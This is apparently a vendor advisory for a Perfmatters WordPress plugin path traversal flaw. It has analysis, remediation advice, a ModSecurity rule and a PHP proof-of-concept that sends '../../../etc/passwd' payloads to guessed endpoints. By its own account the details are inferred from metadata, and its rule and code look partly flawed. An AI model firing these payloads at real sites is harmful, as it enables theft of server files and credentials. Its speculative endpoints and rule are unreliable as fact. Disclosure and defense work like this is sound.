Atomic Edge analysis of CVE-2026-13251 (metadata-based): This vulnerability affects the Perfmatters WordPress plugin versions 2.6.4 and earlier. It allows unauthenticated attackers to read arbitrary files on the server through a directory traversal attack. The vulnerability has a CVSS score of 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
Root Cause: Based on the CWE-22 classification (Path Traversal) and the description, the vulnerability exists in the plugin’s handling of the ‘s’ parameter. The plugin likely passes this parameter directly to a file inclusion or file reading function without proper validation, sanitization, or restriction to allowed paths. This is inferred from the CWE and description as no code diff is available. The description confirms that exploitation requires the Local Google Fonts feature to be enabled, pretty permalinks to be active, and RSS feed links to remain enabled in the plugin settings, which suggests the vulnerable code is part of the Local Google Fonts functionality that processes the ‘s’ parameter to serve font files or CSS assets from a local directory.
Exploitation: An attacker can exploit this vulnerability by sending an HTTP request to the vulnerable endpoint with a crafted ‘s’ parameter. Based on the prerequisites (Local Google Fonts enabled, pretty permalinks active, RSS feed links enabled), the likely attack vector involves a URL like /wp-content/plugins/perfmatters/ or a custom rewrite rule that processes the ‘s’ parameter. The attacker would include path traversal sequences such as ‘…/…/’ or encode variants to read arbitrary files. For example, an attacker could request something like /path-to-plugin/s/../../../etc/passwd or pass the ‘s’ parameter with a value like ../../../etc/passwd to a handler that reads files. The exact endpoint is not confirmed from code, but the ‘s’ parameter is the injection point.
Remediation: The fix requires proper validation and sanitization of the ‘s’ parameter. The plugin should implement a whitelist of allowed file paths, use basename() to strip directory traversal sequences, or use WordPress functions like wp_normalize_path() and realpath() to resolve the path and ensure it falls within an allowed directory. The plugin should also verify the resolved path starts with the intended base directory before proceeding with file operations. Atomic Edge analysis recommends using path canonicalization and strict file extension whitelisting.
Impact: Successful exploitation allows an unauthenticated attacker to read sensitive files from the server. These files could include wp-config.php (containing database credentials and salts), PHP files, server logs, or other sensitive configuration files. This information disclosure can lead to further compromise of the WordPress installation, including database access or privilege escalation on the server.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-13251 (metadata-based)
# Block path traversal attempts via the 's' parameter in Perfmatters plugin
# When Local Google Fonts feature is enabled, the plugin processes 's' parameter
# to serve local font files. This rule blocks directory traversal sequences.
SecRule REQUEST_URI "@rx /perfmatters" "id:20261951,phase:2,deny,status:403,chain,msg:'CVE-2026-13251 Perfmatters Plugin Path Traversal via s parameter',severity:'CRITICAL',tag:'CVE-2026-13251',tag:'WordPress',tag:'Perfmatters',tag:'PathTraversal'"
SecRule ARGS_GET:s "@rx ../" "chain"
SecRule ARGS_GET:s "@rx /../|/.." "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-13251 - Perfmatters <= 2.6.4 - Unauthenticated Arbitrary File Read via 's' Parameter
// Configurable target URL - change this to the WordPress site with Perfmatters plugin installed
$target_url = 'http://example.com'; // No trailing slash
// Prerequisites:
// 1. Perfmatters plugin version <= 2.6.4
// 2. Local Google Fonts feature is enabled (Settings > Performance > Local Google Fonts)
// 3. Pretty permalinks are active
// 4. RSS feed links are enabled in plugin settings
// The 's' parameter is processed by the plugin. Based on the vulnerability description,
// the attack vector likely involves appending the 's' parameter to a URL that uses
// pretty permalinks. The exact endpoint is not confirmed from code, but the following
// attempts target common patterns for this plugin.
// File to read (change as needed)
$path_to_read = '../../../etc/passwd';
// Attempt 1: Direct URL with 's' parameter (using query string)
$url1 = $target_url . '/?s=' . urlencode($path_to_read);
// Attempt 2: If the plugin uses a custom rewrite rule with 's' in the path
$url2 = $target_url . '/perfmatters-s/' . $path_to_read;
// Attempt 3: Using the plugin's font serving endpoint (if any)
$url3 = $target_url . '/?perfmatters_font=' . urlencode($path_to_read);
// cURL handler
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_USERAGENT => 'AtomicEdge-PoC/1.0',
]);
$responses = [];
// Test URL 1
curl_setopt($ch, CURLOPT_URL, $url1);
$result1 = curl_exec($ch);
$info1 = curl_getinfo($ch);
$responses[] = ['url' => $url1, 'http_code' => $info1['http_code'], 'body_length' => strlen($result1), 'body' => substr($result1, 0, 500)];
// Test URL 2
curl_setopt($ch, CURLOPT_URL, $url2);
$result2 = curl_exec($ch);
$info2 = curl_getinfo($ch);
$responses[] = ['url' => $url2, 'http_code' => $info2['http_code'], 'body_length' => strlen($result2), 'body' => substr($result2, 0, 500)];
// Test URL 3
curl_setopt($ch, CURLOPT_URL, $url3);
$result3 = curl_exec($ch);
$info3 = curl_getinfo($ch);
$responses[] = ['url' => $url3, 'http_code' => $info3['http_code'], 'body_length' => strlen($result3), 'body' => substr($result3, 0, 500)];
curl_close($ch);
// Output results
echo "Atomic Edge CVE-2026-13251 PoC Resultsn";
echo "Target: $target_urln";
echo "Path attempted: $path_to_readnn";
foreach ($responses as $resp) {
echo "URL: " . $resp['url'] . "n";
echo "HTTP Code: " . $resp['http_code'] . "n";
echo "Response Length: " . $resp['body_length'] . " bytesn";
echo "Preview:n" . $resp['body'] . "nn";
echo "---nn";
}
// Note: This PoC attempts common patterns. The exact endpoint may differ.
// If the file content appears in the response body, the vulnerability is confirmed.
